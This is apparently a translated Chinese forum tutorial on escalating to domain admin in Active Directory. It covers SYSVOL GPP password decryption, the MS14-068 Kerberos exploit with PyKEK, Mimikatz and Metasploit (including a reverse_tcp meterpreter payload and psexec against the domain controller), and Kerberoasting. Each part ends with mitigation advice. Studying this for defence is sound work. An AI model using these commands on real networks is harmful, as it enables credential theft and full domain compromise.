標題:Active Directory中獲取域管理員權限的攻擊方法

taibeihacker

Moderator
Active Directory中获取域管理员权限的攻击方法 译:by backlion

0x00 前言​

攻擊者可以通過多種方式在Active Directory中獲得域管理員權限, 這篇文章是為了描述當前使用的一些當前熱門的內容, 這裡描述的技術“假設違規”,攻擊者已經在內部系統上獲得權限,並獲得域用戶認證憑據(又稱後滲透利用)。
對於大多數企業而言,不幸的事實是,攻擊者通常不會花更長時間從普通域用戶轉到域管理員。受害者的問題是:'這是怎麼發生的? '。攻擊者經常以魚叉式的釣魚電子郵件開始給一個或多個用戶發送郵件,使被攻擊者能夠在目標網絡中的計算機上運行他們的代碼。一旦攻擊者的代碼在企業內部運行,第一步是進行信息收集,以發現有用的資源來進行提權、持久性攻擊,當然,還包括截取信息。
雖然整個過程細節各不相同,但總體框架仍然存在:
1.恶意软件注入(网络钓鱼,网络攻击,等等)2.信息探测(内部)3.凭据盗窃4.攻击与权限提升5.数据访问和泄露6.持久性(会话访问)我們從攻擊者獲取到企業內部普通權限開始,因為在當前環境網絡中通常並不困難,此外,攻擊者通常也不難從普通客服端上的用戶權限提升為具有本地管理員權限。此用戶提權可以通過利用系統上未修補的補丁漏洞或更頻繁地發現在SYSVOL中查找到本地管理員的密碼,例如組策略首選項。

0x01 SYSVOL和组策略首选项中的密码获取​

這種方法是最簡單的,因為不需要特殊的“黑客”工具,所有的攻擊方法必須是打開Windows資源管理器並蒐索域名為SYSVOL DFS共享的XML文件。在大多數情況下,XML格式的文件包含密碼憑據有:groups.xml,scheduledtasks.xml和&Services.xml等很文件。 SYSVOL是Active Directory中的所有經過身份認證的用戶具有可讀可訪問權限的域共享目錄文件。 SYSVOL包含登錄腳本,組策略數據以及需要在具有任何域控制器地方可用的域數據(由於SYSVOL在所有域控制器之間自動同步並共享)。所有域組策略都存儲的位置:\\DOMAIN\SYSVOL\ DOMAIN\ Policies \
當創建新的GPP時,就會在SYSVOL中創建一個與相關配置數據關聯的XML文件,如果提供了密碼,那麼AES-256位加密應是足夠強的。微軟在MSDN上發布了可用於解密密碼的AES加密密鑰(共享密鑰),連接地址:
anejoubjsy424458.png

通過訪問此XML文件,攻擊者可以使用AES私鑰來解密GPP密碼,
PowerSploit項目中的Get-GPPPassword腳本可用來解密,其連接地址為:
使用方法:
powershell import-modulo .\Get-GPPpassword.ps1;Get-GppPassword
以下截圖顯示了從SYSVOL中的XML文件解密GPP密碼:
ev0hrtrz2nv24459.png

其他文件類型也可具有解密(通常為明文),如vbs和bat。
ioqp0qd1e0y24460.png

安全建议:在用於管理GPO的每台計算機上安裝KB2962486補丁,以防止新的憑據被寫入到組策略首選項中
刪除包含密碼的SYSVOL中出現的GPP xml文件。
不要將密碼放在所有未經過身份驗證的用戶可訪問的文件中。

0x02 利用域控制器上的MS14-068 Kerberos漏洞​

自從MS14-068被修補了KB3011780補丁以來。有可用的檢測方法來確保使用MS14-068的嘗試被識別,但是,這並不意味著域控制器打了補丁或檢查已正確配置。大多數企業在補丁發布的一個月內使用KB3011780進行了修補域控制器,然而,並不是所有的都確保每個新的域控制器都安裝了補丁,才能成為一個安全的DC域控制器。
感謝Gavin Millard(@gmillard在Twitter上),在這下面的截圖中,更好地闡述了這個問題:
0mzoul1it0j24461.png

簡單地說,利用MS14-068攻擊需要不到5分鐘的時間,使攻擊者重寫一個有效的Kerberos TGT身份驗證機票,並且,使其成為域管理員(和企業管理員)。如上圖所示,這就像採取有效的登機密碼,在登機前,寫上“飛行員”。 然後在登機時,你被護送到駕駛艙,問你是否在起飛前要喝咖啡。
第一次發布的MS14-068漏洞是在發布補丁後的2週,由SylvainMonné(@BiDOrD)撰寫,稱為PyKEK(https://github.com/bidord/pykek/archive/master.zip), PyKEK是一個Python腳本,可以在網絡上的任何地方運行具有安裝python程序的系統,只要在未打補丁的DC域中使用PyKEK生成ccache文件,並使用Mimikatz將TGT注入到內存中,提升為域管理員!使用這張票,可以無需密碼訪問DC域控制器上的admin $ 或者c$共享。
测试环境:kalix86 IP地址:192.168.1.102 未加入域能和win2008r2通信win7x86 ip地址:192.168.1.108 加入到域bk.com,普通域账号test 登录win2008r2x64 ip地址:192.168.1.106 DC域控制器,主机名为:DC.bk.com具体步骤如下:1.導出當前登錄賬號test的sid值:
whoami/allsid.txt
2.查看當前域控主機名:
dsquery server net time /domain
3.生成TGT:
python ms14-068.py -u [email protected] -s S-1-5-21-3151896982-173628731-3220273337-1007 -d DC. bk.com
4.注入生成的TGT並獲得有效的TGS:
mimikatz.exe 'kerberos:ptc [email protected]' exit
qahpd4qw1gp24462.png

注意:只有当同一个Active Directory站点中有一个未打补丁的主DC和一个已修补的副DC时,PyKEK才有时会成功。成功的利用取决于什么DC PyKEK连接到。所有漏洞利用阶段都可以在没有管理员帐户的情况下执行,并且可以在网络上的任何计算机上执行(包括未加入域的计算机)。获取TGA的方法:在windows系统下:python ms14-068.py -u [email protected] -s S-1-5-21-3151896982-173628731-3220273337-1007 -d DC. bk.com
gtu4qi4rwgt24463.png
在kali系统下:
Kali下面默認還沒有安裝kerberos的認證功能,所以我們首先要安裝一個kerberos客戶端:
apt-get install krb5-user
然後手動設置IP地址,並將本機的DNS設置為目標域控制器主機的IP地址,這裡設置為DC.bk.com對應主機IP:192.168.1.106
efg5yoazu2024464.png

bjtu0bjsmqs24465.png

在msf下:msf use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
msfshow options
msf auxiliary(ms14_068_kerberos_checksum) set DOMAIN bk.com
msf
auxiliary(ms14_068_kerberos_checksum) set PASSWORD [email protected]
msf
auxiliary(ms14_068_kerberos_checksum) set USER test
msf
auxiliary(ms14_068_kerberos_checksum) set USER_SID
S-1-5-21-3151896982-173628731-3220273337-1007
msf
auxiliary(ms14_068_kerberos_checksum) set RHOST DC.bk.com
msf
auxiliary(ms14_068_kerberos_checksum) run
mkfabh5bixf24466.png

sdaxsgauuwe24467.png

htop1lzr0wa24468.png

mimikatz
#
kerberos:clist
' 20170712232847_default_192.168.1.106_windows.kerberos_515998.bin'
/export
msf
auxiliary(ms14_068_kerberos_checksum) use exploit/multi/handler
msf
exploit(handler) set payload windows/meterpreter/reverse_tcp
msf
exploit(handler) set lhost 192.168.1.102
msf
exploit(handler) exploit
meterpreter
getuid
meterpreter
load kiwi
meterpreter
kerberos_ticket_use /tmp/[email protected]
meterpreter
background
msf
exploit(handler) sessions
msf
exploit(handler) use exploit/windows/local/current_user_psexec
msf
exploit(current_user_psexec) set TECHNIQUE PSH
msf
exploit(current_user_psexec) set RHOSTS DC.bk.com
msf
exploit(current_user_psexec) set payload windows/meterpreter/reverse_tcp
msf
exploit(current_user_psexec) set lhost 192.168.1.102
msf
exploit(current_user_psexec) set SESSION 1
msf
exploit(current_user_psexec) exploit
meterpreter
getuid
MS14-068漏洞利用过程:1.請求沒有PAC作為普通用戶的Kerberos
TGT身份驗證憑證,DC使用TGT進行回复
2. 生成一個沒有密鑰偽造的PAC,所以生成PAC域用戶密碼數據是使用MD5算法而不是HMAC_MD5“簽名”。
3. 將沒有PAC的TGT發送到DC,將偽造的PAC作為授權數據TGS服務票證請求的一部分
4. DC似乎被這個混淆了,所以它丟棄用戶發送沒有PAC的TGT,創建一個新的TGT,並將偽造的PAC插入到自己的授權數據中,並將這個TGT發送給用戶
5. 具有偽造PAC的TGT使用戶能夠成為易受攻擊的DC的域管理員。
Benjamin
Delpy(Mimikatz的作者)寫了一個叫做Kekeo的MS14-068漏洞利用工具(https://github.com/gentilkiwi/kekeo/releases),它能找到並定位一個易受攻擊的DC,並且可以在其執行,無論是否安裝了補丁的2012/2012R2 DC的主機上,它具有與PyKEK相同的利用攻擊方法,但是在結束時增加了另一個步驟,導致有一個有效的TGT,可以呈現給域中的任何DC,它通過使用生成的TGT來獲取在任何地方執行的模擬TGT。
安全建议:在每個AD域中安裝KB3011780。作者上傳傳了一個示例腳本,以獲取所有域控制器的KB3011780補丁狀態:Get-DCPatchStatus(將文件擴展名更改為.ps1)
對於不是域管理組成員的用戶(可以登錄到域控制器的默認組),監視事件ID 4672:
企業管理員(管理員在森林中的所有DC),
域管理員
普通管理員
服務器管理員
備份操作員
賬戶操作員
打印操作員
委派其他登錄到域控制器的組
監視事件ID 4769 Kerberos Service Ticket
Operation事件,顯示失敗的嘗試獲取Kerberos服務票證(TGS)
0x03
Kerberos TGS票離線破解(Kerberoast)Kerberoast可以作為普通用戶從Active Directory中提取服務帳戶憑據而不向目標系統發送任何數據包的有效方法。這種攻擊是有效的,因為人們往往會使用較弱的密碼。這種攻擊成功的原因是大多數服務帳戶密碼與域密碼最小值(通常為10或12個字符長)的長度相同,意味著即使暴力破解也不會超過密碼最大爆破時間。其中大多數服務帳戶並沒有密碼設置為過期時間,因此,可能有幾年,幾個月沒有更改密碼,此外,大多數服務帳戶都被特權許可,通常是提供完整管理員的域管理員成員Active Directory權限(即使服務帳戶只需要修改特定對像類型上的屬性或特定服務器上的管理員權限)。
注意:當針對Windows系統託管的服務時,這種攻擊將不會成功,因為這些服務被映射到Active Directory中的計算機帳戶,該帳戶有一個相關的128字符密碼,不會很快被破解。
此攻擊涉及為目標服務帳戶的服務主體名稱(SPN)請求Kerberos服務票證(TGS),該請求使用有效的域用戶身份驗證票據(TGT)為服務器上運行的目標服務請求一個或多個服務票證。域控制器不會跟踪用戶是否實際連接到這些資源(或者即使用戶有訪問權限),域控制器在Active Directory中查找SPN,並使用與SPN相關聯的服務帳戶加密票據,以便服務驗證用戶訪問權限,所請求的Kerberos服務票證的加密類型是RC4_HMAC_MD5,這意味著服務帳戶的NTLM密碼哈希用於加密服務票證。 Kerberoast可以嘗試通過不同的NTLM散列來打開Kerberos票證,並且當票證成功打開時,會發現正確的服務帳戶密碼。
Active Directory环境中发现服务的最佳方式是通过“SPN扫描”攻擊者通過SPN掃描的主要作用是不需要連接到網絡上的每個IP以檢查服務端口。 SPN掃描通過LDAP查詢域控制器以便發現服務。由於SPN查詢是正常Kerberos票證執行的一部分,所以很難安全設備被探測到,而netowkr端口掃描是相當明顯的,容易被發現。
以下是SPN掃描含有SQL服務的主機服務:
acqi4eudptx24470.png

kby4dsjjquq24471.png

其探測腳本:
識別目標後,我們使用PowerShell來請求此服務主體名稱(SPN)的服務票證:請注意,請求的服務票證是具有RC4加密類型
nijw4naidws24473.png

以下查看到一個數據包的捕獲,我們可以看到Kerberos通信,並註意到該通信加密是RC4-HMAC-MD5。
wrhshark抓包分析:
yeyfo4alv5v24476.png

一旦客戶端接收到票據,我們可以使用Mimikatz(或其他)在用戶的內存中導出所有Kerberos票證,而不會進行權限提升。
vtcug1cpxbr24478.png

將服務票據導出後,該文件可以拷貝到正在運行Kerberoast的Kali Linux的主機。利用我們的wordlist密碼字典,可能會破解與票證(文件)相關聯的服務帳戶的密碼。
agvnxgagu1l24480.png

注意:获得服务票不需要提高权限,也不会向目标发送任何流量。另外有幾個有趣的服務是利用SPNs進行Kerberos Auth,可通過簡單的AD搜索來發現:
交換*
HTTP
LDAP
NFS
* SQL *
WSMAN
posershel探測腳本:
Tim
Medin在DerbyCon 2014上發表了他的“攻擊微軟Kerberos的演示文稿(幻燈片和視頻),同時github上他發布了Kerberoast Python
 
返回
上方